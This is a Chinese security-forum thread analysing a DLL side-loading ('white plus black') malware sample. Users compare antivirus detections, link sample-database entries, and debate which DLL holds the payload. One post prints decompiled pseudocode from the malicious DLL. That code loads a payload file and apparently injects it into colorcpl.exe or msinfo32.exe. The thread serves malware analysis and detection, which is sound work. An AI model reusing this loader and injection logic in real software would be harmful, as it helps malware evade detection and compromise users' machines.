白加黑 1x

xjwtzq

奇安信miss

安提

不对吧，LYSDK2.dll是黑dll吧
D:\\2026-06-23_22-00-47.png

c199529

腾讯电脑管家18

24+小时复测

miss 黑dll

DisaPDB

安提 发表于 2026-6-23 22:02
不对吧，LYSDK2.dll是黑dll吧

是啊 vtksqlite是载荷的运行库，同时编译而且同样没签名，不知道这帮人怎么看的

wwwab

DisaPDB 发表于 2026-6-24 10:35
是啊 vtksqlite是载荷的运行库，同时编译而且同样没签名，不知道这帮人怎么看的

可能是因为
https://www.virustotal.com/gui/f ... cc85518a5/community
https://bazaar.abuse.ch/sample/1 ... ddbb0225d9cc85518a5
吧

DisaPDB

  strcpy(FileName, "C:\\Windows\\SysWOW64\\colorcpl.exe");
  sub_18022E7E0(v31, 0, 227);
  if ( GetFileAttributesA(FileName) == -1 )
    lstrcpyA(FileName, "C:\\Windows\\System32\\msinfo32.exe");
  v28 = 0;
  v29 = 0;
  sub_18002DB80(&v28, L"C:\\Program Files (x86)\\MCWinMailAll\\dkcinst.ini", 47);
  v0 = &v28;
  if ( *((_QWORD *)&v29 + 1) > 7u )
    LODWORD(v0) = v28;
  v1 = 1;
  sub_1800720E0((unsigned int)v20, (_DWORD)v0, 1, 64, 1);
  *(_QWORD *)((char *)v20 + *(int *)(v20[0] + 4LL)) = &std::ifstream::`vftable';
  v2 = (unsigned int)(*(_DWORD *)(v20[0] + 4LL) - 176);
  *(int *)((char *)&v19 + *(int *)(v20[0] + 4LL)) = v2;
  v26 = 0;
  si128 = _mm_load_si128((const __m128i *)&xmmword_180249790);
  LOBYTE(v26) = 0;
  v3 = *(int *)(v20[0] + 4LL);
  if ( (v21[v3] & 6) != 0 )
    goto LABEL_27;
  v23 = 0;
  v24 = 0;
  v25 = 15;
  LOBYTE(v23) = 0;
  LOBYTE(v2) = 10;
  v4 = sub_180046090((char *)v20 + v3, v2);
  v5 = sub_180071DA0(v20, &v23, v4);
  if ( (*(_BYTE *)(*(int *)(*(_QWORD *)v5 + 4LL) + v5 + 16) & 6) == 0 )
  {
    do
    {
      v6 = &v23;
      if ( v25 > 0xF )
        v6 = (__int128 *)v23;
      sub_18000B610(&v26, v6, v24);
      LOBYTE(v7) = 10;
      v8 = sub_180046090((char *)v20 + *(int *)(v20[0] + 4LL), v7);
      v9 = sub_180071DA0(v20, &v23, v8);
    }
    while ( (*(_BYTE *)(*(int *)(*(_QWORD *)v9 + 4LL) + v9 + 16) & 6) == 0 );
  }
  sub_1800737A0(v20);
  sub_180073130(&v17, &v26);
  v10 = sub_1800727F0(FileName, v17, DWORD2(v17) - (int)v17, 0);
  v11 = v17;
  if ( v10 )
  {
    if ( (_QWORD)v17 )
    {
      if ( (unsigned __int64)(v18 - v17) >= 0x1000 )
      {
        v11 = *(_QWORD *)(v17 - 8);
        if ( (unsigned __int64)(v17 - v11 - 8) > 0x1F )
          goto LABEL_38;
      }
      libproj_proj_int_list_destroy_0(v11);
      v17 = 0;
      v18 = 0;
    }
    if ( v25 > 0xF )
    {
      v13 = v23;
      if ( v25 + 1 >= 0x1000 )
      {
        v13 = *(_QWORD *)(v23 - 8);
        if ( (unsigned __int64)(v23 - v13 - 8) > 0x1F )
          goto LABEL_39;
      }
      libproj_proj_int_list_destroy_0(v13);
    }
LABEL_27:
    Sleep(0x3E8u);
    v1 = 0;
    goto LABEL_28;
  }
  if ( !(_QWORD)v17 )
    goto LABEL_15;
  if ( (unsigned __int64)(v18 - v17) >= 0x1000 )
  {
    v11 = *(_QWORD *)(v17 - 8);
    if ( (unsigned __int64)(v17 - v11 - 8) > 0x1F )
    {
LABEL_38:
      sub_1801FFF94(0, 0, 0, 0, 0);
LABEL_39:
      sub_1801FFF94(0, 0, 0, 0, 0);
      goto LABEL_40;
    }
  }
  libproj_proj_int_list_destroy_0(v11);
  v17 = 0;
  v18 = 0;
LABEL_15:
  if ( v25 > 0xF )
  {
    v12 = v23;
    if ( v25 + 1 >= 0x1000 )
    {
      v12 = *(_QWORD *)(v23 - 8);
      if ( (unsigned __int64)(v23 - v12 - 8) > 0x1F )
        goto LABEL_39;
    }
    libproj_proj_int_list_destroy_0(v12);
  }
LABEL_28:
  if ( si128.m128i_i64[1] > 0xFuLL )
  {
    v14 = v26;
    if ( (unsigned __int64)(si128.m128i_i64[1] + 1) >= 0x1000 )
    {
      v14 = *(_QWORD *)(v26 - 8);
      if ( (unsigned __int64)(v26 - v14 - 8) > 0x1F )
      {
LABEL_40:
        sub_1801FFF94(0, 0, 0, 0, 0);
        JUMPOUT(0x180073D0ELL);
      }
    }
    libproj_proj_int_list_destroy_0(v14);
  }
  si128 = _mm_load_si128((const __m128i *)&xmmword_180249790);
  LOBYTE(v26) = 0;
  *(_QWORD *)((char *)v20 + *(int *)(v20[0] + 4LL)) = &std::ifstream::`vftable';
  *(int *)((char *)&v19 + *(int *)(v20[0] + 4LL)) = *(_DWORD *)(v20[0] + 4LL) - 176;
  sub_180072550(v21);
  *(_QWORD *)((char *)v20 + *(int *)(v20[0] + 4LL)) = &std::istream::`vftable';
  *(int *)((char *)&v19 + *(int *)(v20[0] + 4LL)) = *(_DWORD *)(v20[0] + 4LL) - 24;
  v22 = &std::ios_base::`vftable';
  sub_1801EF60C(&v22);
  if ( *((_QWORD *)&v29 + 1) > 7u )
  {
    v15 = v28;
    if ( (unsigned __int64)(2LL * *((_QWORD *)&v29 + 1) + 2) < 0x1000
      || (v15 = *(_QWORD *)(v28 - 8), (unsigned __int64)(v28 - v15 - 8) <= 0x1F) )
    {
      libproj_proj_int_list_destroy_0(v15);
      return v1;
    }
    sub_1801FFF94(0, 0, 0, 0, 0);
    goto LABEL_38;
  }
  return v1;
}

pal家族

wwwab 发表于 2026-6-24 11:34
可能是因为
https://www.virustotal.com/gui/file/1859950b3f410ae37bf115ab107917f6af6313a598f76ddbb0 ...

housecall这个本地扫描器竟然给这个dll报毒dllhijack了
不知道都是谁带谁的

pal家族

我把文件删了。你能不能再上传一次。。。谢谢

tony099

pal家族 发表于 2026-6-24 14:36
我把文件删了。你能不能再上传一次。。。谢谢

这边和卡巴沟通了 卡巴把两个dll全部拉黑了

莒县小哥